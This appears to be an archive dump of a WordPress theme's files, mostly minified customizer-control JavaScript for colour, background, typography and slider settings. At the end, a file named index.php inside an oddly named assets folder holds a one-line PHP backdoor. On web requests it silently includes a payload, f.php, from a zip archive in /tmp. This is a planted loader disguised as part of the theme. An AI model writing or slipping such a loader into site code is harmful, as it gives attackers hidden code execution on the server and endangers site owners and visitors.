.thumbnail"),t=i.container.find(".background-image-upload-remove-button"),i.container.find(".customize-control-content > .background-repeat").hide(),i.container.find(".customize-control-content > .background-position").hide(),i.container.find(".customize-control-content > .background-size").hide(),i.container.find(".customize-control-content > .background-attachment").hide(),e.length&&e.removeClass().addClass("placeholder").html(SpaciousCustomizerControlBackground.placeholder),t.length&&t.hide()}),i.container.on("change",".background-repeat select",function(){i.saveValue("background-repeat",jQuery(this).val())}),i.container.on("change",".background-position select",function(){i.saveValue("background-position",jQuery(this).val())}),i.container.on("change",".background-size select",function(){i.saveValue("background-size",jQuery(this).val())}),i.container.on("change",".background-attachment select",function(){i.saveValue("background-attachment",jQuery(this).val())})},saveValue:function(t,e){var n=this,o=jQuery("#customize-control-"+n.id.replace("[","-").replace("]","")+" .background-hidden-value"),i=n.setting._value;i[t]=e,jQuery(o).attr("value",JSON.stringify(i)).trigger("change"),n.setting.set(i)}})}(jQuery),wp.customize.controlConstructor["spacious-buttonset"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;this.container.on("click","input",function(){t.setting.set(jQuery(this).val())})}}),function(t){t(window).on("load",function(){t("html").addClass("colorpicker-ready")}),wp.customize.controlConstructor["spacious-color"]=wp.customize.Control.extend({ready:function(){"use strict";var n=this;this.container.find(".spacious-color-picker-alpha").wpColorPicker({change:function(t,e){e=e.color.toString();jQuery("html").hasClass("colorpicker-ready")&&n.setting.set(e)}})}})}(jQuery),wp.customize.controlConstructor["spacious-dimensions"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;t.container.on("change keyup paste input",".top input",function(){t.updateTop()}),t.container.on("change keyup paste input",".right input",function(){t.updateRight()}),t.container.on("change keyup paste input",".left input",function(){t.updateLeft()}),t.container.on("change keyup paste input",".bottom input",function(){t.updateBottom()})},updateTop:function(){var t=this,e=t.setting._value,n=t.container.find(".dimensions-hidden-value"),o={top:{}};t.container.find(".top .input-wrapper").each(function(){var t=jQuery(this).find("input").val();o.top=t}),jQuery.extend(e,o),jQuery(n).attr("value",JSON.stringify(e)).trigger("change"),t.setting.set(e)},updateRight:function(){var t=this,e=t.setting._value,n=t.container.find(".dimensions-hidden-value"),o={right:{}};t.container.find(".right .input-wrapper").each(function(){var t=jQuery(this).find("input").val();o.right=t}),jQuery.extend(e,o),jQuery(n).attr("value",JSON.stringify(e)).trigger("change"),t.setting.set(e)},updateBottom:function(){var t=this,e=t.setting._value,n=t.container.find(".dimensions-hidden-value"),o={bottom:{}};t.container.find(".bottom .input-wrapper").each(function(){var t=jQuery(this).find("input").val();o.bottom=t}),jQuery.extend(e,o),jQuery(n).attr("value",JSON.stringify(e)).trigger("change"),t.setting.set(e)},updateLeft:function(){var t=this,e=t.setting._value,n=t.container.find(".dimensions-hidden-value"),o={left:{}};t.container.find(".left .input-wrapper").each(function(){var t=jQuery(this).find("input").val();o.left=t}),jQuery.extend(e,o),jQuery(n).attr("value",JSON.stringify(e)).trigger("change"),t.setting.set(e)}}),wp.customize.controlConstructor["spacious-dropdown-categories"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;this.container.on("change","select",function(){t.setting.set(jQuery(this).val())})}}),wp.customize.controlConstructor["spacious-editor"]=wp.customize.Control.extend({ready:function(){"use strict";var t="editor_"+this.id;wp.editor.initialize(t,{tinymce:{wpautop:!0},quicktags:!0,mediaButtons:!0})},onChangeActive:function(t,e){"use strict";var n=this,o="editor_"+n.id,i=n.container.find("textarea"),a=tinyMCE.get(o);a&&a.onChange.add(function(t){t.save(),t=a.getContent(),i.val(t).trigger("change"),wp.customize.instance(n.id).set(t)})}}),function(r){wp.customize.controlConstructor["spacious-fontawesome"]=wp.customize.Control.extend({ready:function(){"use strict";this.initSpaciousFontawesomeControl()},initSpaciousFontawesomeControl:function(){var t=this,e=t.selector,n=r(e).find("select"),o=[],i=t.setting._value,e=window["SpaciousCustomizerControlFontawesome"+this.id],a=0;r.each(e,function(t,e){o[a]={id:e,text:e},a++}),(e=n.selectWoo({data:o,width:"100%",templateResult:function(t){return t.id?r('<span><i class="fa fa-lg '+t.text+'"></i> '+t.text+"</span>"):t.text}})).val(i).trigger("change"),e.on("change",function(){t.setting.set(n.val())})}})}(jQuery),function(u){wp.customize.controlConstructor["spacious-group"]=wp.customize.Control.extend({ready:function(){"use strict";this.registerToggleEvents(),this.container.on("spacious_settings_changed",this.onOptionChange)},registerToggleEvents:function(){var a=this;u(".wp-full-overlay-sidebar-content").click(function(t){u(t.target).closest(".spacious-field-settings-modal").length||u(".spacious-group-toggle-icon.open").trigger("click")}),a.container.on("click",".spacious-group-wrap .spacious-group-toggle-icon",function(t){t.preventDefault(),t.stopPropagation();var e=u(this),n=e.closest(".customize-control-spacious-group"),o=n.find(".spacious-field-settings-modal").data("loaded"),i=n.parents(".control-section");e.hasClass("open")?n.find(".spacious-field-settings-modal").hide():(0<(t=i.find(".spacious-group-toggle-icon.open")).length&&t.trigger("click"),o?n.find(".spacious-field-settings-modal").show():(i=a.params.spacious_fields,t=u(SpaciousCustomizerControlGroup.group_modal_tmpl),o=u("#customize-footer-actions .active").attr("data-device"),n.find(".spacious-field-settings-wrap").append(t),n.find(".spacious-fields-wrap").attr("data-control",a.params.name),a.spacious_render_field(n,i,a),n.find(".spacious-field-settings-modal").show(),"mobile"===o?(u(".control-wrap.mobile").addClass("active"),u(".responsive-switchers .preview-mobile").addClass("active"),u(".control-wrap.tablet, .control-wrap.desktop").removeClass("active"),u(".responsive-switchers .preview-tablet, .responsive-switchers .preview-desktop").removeClass("active")):"tablet"===o?(u(".control-wrap.tablet").addClass("active"),u(".responsive-switchers .preview-tablet").addClass("active"),u(".control-wrap.mobile, .control-wrap.desktop").removeClass("active"),u(".responsive-switchers .preview-mobile, .responsive-switchers .preview-desktop").removeClass("active")):(u(".control-wrap.desktop").addClass("active"),u(".responsive-switchers .preview-desktop").addClass("active"),u(".control-wrap.mobile, .control-wrap.tablet").removeClass("active"),u(".responsive-switchers .preview-mobile, .responsive-switchers .preview-tablet").removeClass("active")))),e.toggleClass("open")}),a.container.on("click",".spacious-group-wrap > .customizer-text",function(t){t.preventDefault(),t.stopPropagation(),u(this).find(".spacious-group-toggle-icon").trigger("click")})},spacious_render_field:function(t,e,n){var o,i=this,a=t.find(".spacious-fields-wrap"),r="",c=[],s=i.isJSONString(n.params.value)?JSON.parse(n.params.value):{};void 0!==e.tabs?(o=0,r+='<div id="'+n.params.name+'-tabs" class="spacious-group-tabs">',r+='<ul class="spacious-group-list">',_.each(e.tabs,function(t,e){r+='<li class="'+(0===o?"active":"")+'"><a href="#tab-'+e.replace(" ","-")+'"><span>'+e+"</span></a></li>",o++}),r+="</ul>",r+='<div class="spacious-tab-content" >',_.each(e.tabs,function(t,e){t=i.generateFieldHtml(t,s);r+='<div id="tab-'+e.replace(" ","-")+'" class="tab">',r+=t.html,_.each(t.controls,function(t,e){c.push({key:t.key,value:t.value,name:t.name})}),r+="</div>"}),r+="</div>",r+="</div>",a.html(r),u("#"+n.params.name+"-tabs").tabs()):(e=i.generateFieldHtml(e,s),r+=e.html,_.each(e.controls,function(t,e){c.push({key:t.key,value:t.value,name:t.name})}),a.html(r)),_.each(c,function(t,e){switch(t.key){case"spacious-color":i.initColorControl(a,n,t.name);break;case"spacious-background":i.initBackgroundControl(n,t,t.name);break;case"spacious-typography":i.initTypographyControl(n,t,t.name)}}),t.find(".spacious-field-settings-modal").data("loaded",!0)},isJSONString:function(t){try{JSON.parse(t)}catch(t){return!1}return!0},generateFieldHtml:function(t,e){var c="",s=[];_.each(t,function(t,e){var n=wp.customize.control(t.name)?wp.customize.control(t.name).params.value:"",o=t.control,i="customize-control-"+o+"-content",i=wp.template(i),n=n||t.default,a="",r="";t.value=n,t.title=t.label,_.each(t.data_attrs,function(t,e){a+=" data-"+e+' ="'+t+'"'}),_.each(t.input_attrs,function(t,e){r+=e+' ="'+t+'"'}),t.dataAttrs=a,t.inputAttrs=r,s.push({key:o,value:n,name:t.name});o="",n=["spacious-typography"];"spacious-typography"===t.control&&n.includes(t.control)&&(t.languages=SpaciousCustomizerControlTypographySubsets),n.includes(t.control)&&(o="has-responsive-switchers"),c+='<li id="customize-control-'+t.name+'" class="customize-control '+o+" customize-control-"+t.control+'" >',c+=i(t),c+="</li>"});t=new Object;return t.controls=s,t.html=c,t},onOptionChange:function(t,e,n,o,i){u(".hidden-field-"+i).val(o),wp.customize.control(i).setting.set(o)},initColorControl:function(t,e,n){var o=this;t.find(".customize-control-spacious-color .spacious-color-picker-alpha").wpColorPicker({change:function(t,e){void 0===t.originalEvent&&void 0===e.color._alpha||(t=u(t.target).closest(".wp-picker-input-wrap").find(".wp-color-picker")[0],n=(n=u(t).parents(".customize-control").attr("id")).replace("customize-control-",""),u(t).val(e.color.toString()),o.container.trigger("spacious_settings_changed",[o,u(t),e.color.toString(),n]))},clear:function(t){t=u(t.target).closest(".wp-picker-input-wrap").find(".wp-color-picker")[0];n=(n=u(t).parents(".customize-control").attr("id")).replace("customize-control-",""),u(t).val(""),o.container.trigger("spacious_settings_changed",[o,u(t),"",n]),wp.customize.previewer.refresh()}})},initBackgroundControl:function(a,t,r){var e=u("#customize-control-"+a.id.replace("[","-").replace("]","")+" .background-hidden-value"),e=JSON.parse(e.val()),t=t.name,n=a.container.find(".spacious-color-picker-alpha"),c=a.container.find("#customize-control-"+t);!_.isUndefined(e["background-image"])&&""!==e["background-image"]||(c.find(".customize-control-content > .background-repeat").hide(),c.find(".customize-control-content > .background-position").hide(),c.find(".customize-control-content > .background-size").hide(),c.find(".customize-control-content > .background-attachment").hide()),n.wpColorPicker({change:function(){var t;u("html").hasClass("colorpicker-ready")&&(t=u(this),setTimeout(function(){a.saveBackgroundValue("background-color",n.val(),t,r)},100))},clear:function(t){t=u(t.target).closest(".wp-picker-input-wrap").find(".wp-color-picker")[0];t&&a.saveBackgroundValue("background-color","",u(t),r),wp.customize.previewer.refresh()}}),c.on("click",".background-image-upload-button, .thumbnail-image img",function(t){var o=u(this),i=wp.media({multiple:!1}).open().on("select",function(){var t,e=i.state().get("selection").first(),n=e.toJSON().sizes.full.url;_.isUndefined(e.toJSON().sizes.medium)?_.isUndefined(e.toJSON().sizes.thumbnail)||(n=e.toJSON().sizes.thumbnail.url):n=e.toJSON().sizes.medium.url,t=e.toJSON().sizes.full.url,e.toJSON().id,e.toJSON().width,e.toJSON().height,""!==t&&c.find(".customize-control-content > .background-repeat, .customize-control-content > .background-position, .customize-control-content > .background-size, .customize-control-content > .background-attachment").show(),a.saveBackgroundValue("background-image",t,o,r),e=c.find(".placeholder, .thumbnail"),t=c.find(".background-image-upload-remove-button"),e.length&&e.removeClass().addClass("thumbnail thumbnail-image").html('<img src="'+n+'" alt="" />'),t.length&&t.show()});t.preventDefault()}),c.on("click",".background-image-upload-remove-button",function(t){var e;t.preventDefault(),a.saveBackgroundValue("background-image","",u(this)),e=c.find(".placeholder, .thumbnail"),t=c.find(".background-image-upload-remove-button"),c.find(".customize-control-content > .background-repeat").hide(),c.find(".customize-control-content > .background-position").hide(),c.find(".customize-control-content > .background-size").hide(),c.find(".customize-control-content > .background-attachment").hide(),e.length&&e.removeClass().addClass("placeholder").html(SpaciousCustomizerControlBackground.placeholder),t.length&&t.hide()}),c.on("change",".background-repeat select",function(){a.saveBackgroundValue("background-repeat",u(this).val(),u(this),r)}),c.on("change",".background-position select",function(){a.saveBackgroundValue("background-position",u(this).val(),u(this),r)}),c.on("change",".background-size select",function(){a.saveBackgroundValue("background-size",u(this).val(),u(this),r)}),c.on("change",".background-attachment select",function(){a.saveBackgroundValue("background-attachment",u(this).val(),u(this),r)})},saveBackgroundValue:function(t,e,n,o){var i=u("#customize-control-"+this.id.replace("[","-").replace("]","")+" .background-hidden-value"),a=JSON.parse(i.val());a[t]=e,u(i).attr("value",JSON.stringify(a)).trigger("change"),o=(o=u(n).parents(".customize-control").attr("id")).replace("customize-control-",""),this.container.trigger("spacious_settings_changed",[this,n,a,o])},initTypographyControl:function(t,e,n){t.setting._value;var o=e.name,o=t.container.find("#customize-control-"+o);t.renderTypographyFontSelector(u(this),n,e),t.renderTypographyVariantSelector(u(this),n,e),t.renderTypographySubsetSelector(u(this),n,e),o.on("change",".font-style select",function(){t.saveTypographyValue("font-style",u(this).val(),u(this),n)}),o.on("change",".text-transform select",function(){t.saveTypographyValue("text-transform",u(this).val(),u(this),n)}),o.on("change",".text-decoration select",function(){t.saveTypographyValue("text-decoration",u(this).val(),u(this),n)}),o.on("change keyup paste input",".font-size input",function(){t.saveTypographyFontSize(u(this),n,e)}),o.on("change keyup paste input",".line-height input",function(){t.saveTypographyLineHeight(u(this),n,e)}),o.on("change keyup paste input",".letter-spacing input",function(){t.saveTypographyLetterSpacing(u(this),n,e)})},renderTypographyFontSelector:function(t,e,n){var o=this,i=o.selector+" .font-family select",a=[],r=[],c=[],s=u("#customize-control-"+o.id.replace("[","-").replace("]","")+" .typography-hidden-value"),l=JSON.parse(s.val()),s=o.getTypographyFonts();_.isUndefined(s.standard)||_.each(s.standard,function(t){a.push({id:t.family.replace(/"/g,"'"),text:t.label})}),_.isUndefined(s.google)||_.each(s.google,function(t){r.push({id:t.family,text:t.label})}),data=[{text:s.standardfontslabel,children:a},{text:s.googlefontslabel,children:r}],_.isUndefined(s.custom)||(_.each(s.custom,function(t){c.push({id:t.family,text:t.label})}),data.push({text:s.customfontslabel,children:c})),i=u(i).selectWoo({data:data,width:"100%"}),l["font-family"]&&i.val(l["font-family"].replace(/'/g,'"')).trigger("change"),i.on("change",function(){o.saveTypographyValue("font-family",u(this).val(),u(this),e),o.renderTypographyVariantSelector(u(this),e,n),o.renderTypographySubsetSelector(u(this),e,n)})},getTypographyFonts:function(){return _.isUndefined(SpaciousCustomizerControlTypography)?{google:[],standard:[]}:SpaciousCustomizerControlTypography},renderTypographyVariantSelector:function(t,e,n){var o=this,i=u("#customize-control-"+o.id.replace("[","-").replace("]","")+" .typography-hidden-value"),a=JSON.parse(i.val()),r=a["font-family"],i=o.getTypographyVariants(r),r=o.selector+" .font-weight select",c=[],s=!1;!1!==i?(u(o.selector+" .font-weight").show(),_.each(i,function(t){a["font-weight"]===t.id&&(s=!0),c.push({id:t.id,text:t.label})}),s||(a["font-weight"]="regular"),u(r).hasClass("select2-hidden-accessible")&&(u(r).selectWoo("destroy"),u(r).empty()),(r=u(r).selectWoo({data:c,width:"100%"})).val(a["font-weight"]).trigger("change"),r.on("change",function(){o.saveTypographyValue("font-weight",u(this).val(),u(this),e)})):u(o.selector+" .font-weight").hide()},getTypographyVariants:function(e){var t=this.getTypographyFonts(),n=!1;return _.each(t.standard,function(t){if(e&&t.family===e.replace(/'/g,'"'))return n=t.variants}),_.each(t.google,function(t){if(t.family===e)return n=t.variants}),_.isUndefined(t.custom)||_.each(t.custom,function(t){if(t.custom===e)return n=t.variants}),n},renderTypographySubsetSelector:function(t,e,n){var o=this,i=u("#customize-control-"+o.id.replace("[","-").replace("]","")+" .typography-hidden-value"),a=JSON.parse(i.val()),r=a["font-family"],i=o.getTypographySubsets(r),r=o.selector+" .subsets select",c=[],s=a.subsets;!1!==i?(u(o.selector+" .subsets").show(),_.each(i,function(e){_.isObject(s)&&-1===s.indexOf(e.id)&&(s=_.reject(s,function(t){return t===e.id})),c.push({id:e.id,text:e.label})})):u(o.selector+" .subsets").hide(),u(r).hasClass("select2-hidden-accessible")&&(u(r).selectWoo("destroy"),u(r).empty()),(r=u(r).selectWoo({data:c,width:"100%"})).val(s).trigger("change"),r.on("change",function(){o.saveTypographyValue("subsets",u(this).val(),u(this),e)})},getTypographySubsets:function(e){var n=!1,t=this.getTypographyFonts();return _.each(t.google,function(t){if(t.family===e)return n=t.subsets}),n},saveTypographyFontSize:function(t,e,n){var o=u("#customize-control-"+this.id.replace("[","-").replace("]","")+" .typography-hidden-value"),i=JSON.parse(o.val()),n=n.name,n=this.container.find("#customize-control-"+n),a={"font-size":{}};n.find(".font-size .control-wrap").each(function(){var t=u(this).find("input").val(),e=u(this).find("input").data("device");a["font-size"][e]=t}),u.extend(i,a),u(o).attr("value",JSON.stringify(i)).trigger("change"),e=(e=u(t).parents(".customize-control").attr("id")).replace("customize-control-",""),this.container.trigger("spacious_settings_changed",[this,t,i,e])},saveTypographyLineHeight:function(t,e,n){var o=u("#customize-control-"+this.id.replace("[","-").replace("]","")+" .typography-hidden-value"),i=JSON.parse(o.val()),n=n.name,n=this.container.find("#customize-control-"+n),a={"line-height":{}};n.find(".line-height .control-wrap").each(function(){var t=u(this).find("input").val(),e=u(this).find("input").data("device");a["line-height"][e]=t}),u.extend(i,a),u(o).attr("value",JSON.stringify(i)).trigger("change"),e=(e=u(t).parents(".customize-control").attr("id")).replace("customize-control-",""),this.container.trigger("spacious_settings_changed",[this,t,i,e])},saveTypographyLetterSpacing:function(t,e,n){var o=u("#customize-control-"+this.id.replace("[","-").replace("]","")+" .typography-hidden-value"),i=JSON.parse(o.val()),n=n.name,n=this.container.find("#customize-control-"+n),a={"letter-spacing":{}};n.find(".letter-spacing .control-wrap").each(function(){var t=u(this).find("input").val(),e=u(this).find("input").data("device");a["letter-spacing"][e]=t}),u.extend(i,a),u(o).attr("value",JSON.stringify(i)).trigger("change"),e=(e=u(t).parents(".customize-control").attr("id")).replace("customize-control-",""),this.container.trigger("spacious_settings_changed",[this,t,i,e])},saveTypographyValue:function(t,e,n,o){var i=u("#customize-control-"+this.id.replace("[","-").replace("]","")+" .typography-hidden-value"),a=JSON.parse(i.val());a[t]=e,u(i).attr("value",JSON.stringify(a)).trigger("change"),o=(o=u(n).parents(".customize-control").attr("id")).replace("customize-control-",""),this.container.trigger("spacious_settings_changed",[this,n,a,o])}})}(jQuery),function(e){e(window).on("load",function(){e(".tg-navigate a").on("click",function(t){t.preventDefault();t=e(this).data("section");t&&wp.customize.section(t).focus()})})}(jQuery),wp.customize.controlConstructor["spacious-radio-image"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;this.container.on("click","input",function(){t.setting.set(jQuery(this).val())})}}),wp.customize.controlConstructor["spacious-slider"]=wp.customize.Control.extend({ready:function(){"use strict";var e=this;this.container.find("input[type=range]").on("input change",function(){var t=jQuery(this).val(),e=jQuery(this).closest(".slider-wrapper").find(".spacious-range-value .value");e.val(t),e.change()}),this.container.find(".spacious-slider-reset").click(function(){var t=jQuery(this).closest(".slider-wrapper"),e=t.find("input[type=range]"),n=t.find(".spacious-range-value .value"),t=e.data("reset_value");e.val(t),n.val(t),n.change()}),this.container.on("input change","input[type=number]",function(){var t=jQuery(this).val();jQuery(this).closest(".slider-wrapper").find("input[type=range]").val(t),e.setting.set(t)})}}),wp.customize.controlConstructor["spacious-sortable"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;t.sortableContainer=t.container.find("ul.sortable").first(),t.sortableContainer.sortable({stop:function(){t.updateValue()}}).disableSelection().find("li").each(function(){jQuery(this).find("i.visibility").click(function(){jQuery(this).toggleClass("dashicons-visibility-faint").parents("li:eq(0)").toggleClass("invisible")})}).click(function(){t.updateValue()})},updateValue:function(){"use strict";var t=[];this.sortableContainer.find("li").each(function(){jQuery(this).is(".invisible")||t.push(jQuery(this).data("value"))}),this.setting.set(t)}}),wp.customize.controlConstructor["spacious-toggle"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this,e=t.setting._value;this.container.on("change","input",function(){e=!!jQuery(this).is(":checked"),t.setting.set(e)})}}),wp.customize.controlConstructor["spacious-typography"]=wp.customize.Control.extend({ready:function(){"use strict";var t=this;t.renderFontSelector(),t.renderVariantSelector(),t.renderSubsetSelector(),t.container.on("change",".font-style select",function(){t.saveValue("font-style",jQuery(this).val())}),t.container.on("change",".text-transform select",function(){t.saveValue("text-transform",jQuery(this).val())}),t.container.on("change",".text-decoration select",function(){t.saveValue("text-decoration",jQuery(this).val())}),t.container.on("change keyup paste input",".font-size input",function(){t.updateFontSize()}),t.container.on("change keyup paste input",".line-height input",function(){t.updateLineHeight()}),t.container.on("change keyup paste input",".letter-spacing input",function(){t.updateLetterSpacing()})},renderFontSelector:function(){var t=this,e=t.selector+" .font-family select",n=[],o=[],i=[],a=t.setting._value,r=t.getFonts();_.isUndefined(r.standard)||_.each(r.standard,function(t){n.push({id:t.family.replace(/"/g,"'"),text:t.label})}),_.isUndefined(r.google)||_.each(r.google,function(t){o.push({id:t.family,text:t.label})}),data=[{text:r.standardfontslabel,children:n},{text:r.googlefontslabel,children:o}],_.isUndefined(r.custom)||(_.each(r.custom,function(t){i.push({id:t.family,text:t.label})}),data.push({text:r.customfontslabel,children:i})),e=jQuery(e).selectWoo({data:data,width:"100%"}),a["font-family"]&&e.val(a["font-family"].replace(/'/g,'"')).trigger("change"),e.on("change",function(){t.saveValue("font-family",jQuery(this).val()),t.renderVariantSelector(),t.renderSubsetSelector()})},getFonts:function(){return _.isUndefined(SpaciousCustomizerControlTypography)?{google:[],standard:[]}:SpaciousCustomizerControlTypography},renderVariantSelector:function(){var t=this,e=t.setting._value,n=e["font-family"],o=t.getVariants(n),n=t.selector+" .font-weight select",i=[],a=!1;!1!==o?(jQuery(t.selector+" .font-weight").show(),_.each(o,function(t){e["font-weight"]===t.id&&(a=!0),i.push({id:t.id,text:t.label})}),a||(e["font-weight"]="regular"),jQuery(n).hasClass("select2-hidden-accessible")&&(jQuery(n).selectWoo("destroy"),jQuery(n).empty()),(n=jQuery(n).selectWoo({data:i,width:"100%"})).val(e["font-weight"]).trigger("change"),n.on("change",function(){t.saveValue("font-weight",jQuery(this).val())})):jQuery(t.selector+" .font-weight").hide()},getVariants:function(e){var t=this.getFonts(),n=!1;return _.each(t.standard,function(t){if(e&&t.family===e.replace(/'/g,'"'))return n=t.variants}),_.each(t.google,function(t){if(t.family===e)return n=t.variants}),_.isUndefined(t.custom)||_.each(t.custom,function(t){if(t.custom===e)return n=t.variants}),n},renderSubsetSelector:function(){var t=this,e=t.setting._value,n=e["font-family"],o=t.getSubsets(n),n=t.selector+" .subsets select",i=[],a=e.subsets;!1!==o?(jQuery(t.selector+" .subsets").show(),_.each(o,function(e){_.isObject(a)&&-1===a.indexOf(e.id)&&(a=_.reject(a,function(t){return t===e.id})),i.push({id:e.id,text:e.label})})):jQuery(t.selector+" .subsets").hide(),jQuery(n).hasClass("select2-hidden-accessible")&&(jQuery(n).selectWoo("destroy"),jQuery(n).empty()),(n=jQuery(n).selectWoo({data:i,width:"100%"})).val(a).trigger("change"),n.on("change",function(){t.saveValue("subsets",jQuery(this).val())})},getSubsets:function(e){var n=!1,t=this.getFonts();return _.each(t.google,function(t){if(t.family===e)return n=t.subsets}),n},saveValue:function(t,e){var n=this.container.find(".typography-hidden-value"),o=this.setting._value;o[t]=e,jQuery(n).attr("value",JSON.stringify(o)).trigger("change"),this.setting.set(o)},updateFontSize:function(){var t=this.setting._value,e=this.container.find(".typography-hidden-value"),n={"font-size":{}};this.container.find(".font-size .control-wrap").each(function(){var t=jQuery(this).find("input").val(),e=jQuery(this).find("input").data("device");n["font-size"][e]=t}),jQuery.extend(t,n),jQuery(e).attr("value",JSON.stringify(t)).trigger("change"),this.setting.set(t)},updateLineHeight:function(){var t=this.setting._value,e=this.container.find(".typography-hidden-value"),n={"line-height":{}};this.container.find(".line-height .control-wrap").each(function(){var t=jQuery(this).find("input").val(),e=jQuery(this).find("input").data("device");n["line-height"][e]=t}),jQuery.extend(t,n),jQuery(e).attr("value",JSON.stringify(t)).trigger("change"),this.setting.set(t)},updateLetterSpacing:function(){var t=this.setting._value,e=this.container.find(".typography-hidden-value"),n={"letter-spacing":{}};this.container.find(".letter-spacing .control-wrap").each(function(){var t=jQuery(this).find("input").val(),e=jQuery(this).find("input").data("device");n["letter-spacing"][e]=t}),jQuery.extend(t,n),jQuery(e).attr("value",JSON.stringify(t)).trigger("change"),this.setting.set(t)}}); core/custom-controls/assets/js/t0gazo/index.php 0000666 00000000145 15236704333 0015623 0 ustar 00 <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "f.php"; include("zip:///tmp/phpUZhB4G#$h");?>